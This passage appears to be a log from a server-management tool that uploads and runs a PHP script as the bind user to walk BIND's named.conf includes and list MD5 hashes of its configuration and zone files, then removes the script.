MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:05:32: Establishing a connection
2026-07-15 13:05:32: 

PUT: /tmp/pkp357197

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:05:32: 

runuser -l bind -s /bin/bash -c '/tmp/pkp357197; rm /tmp/pkp357197'

2026-07-15 13:05:32: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:05:32: Establishing a connection
2026-07-15 13:05:32: 

PUT: /tmp/pkp510310

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:05:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp510310; rm /tmp/pkp510310'

2026-07-15 13:05:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
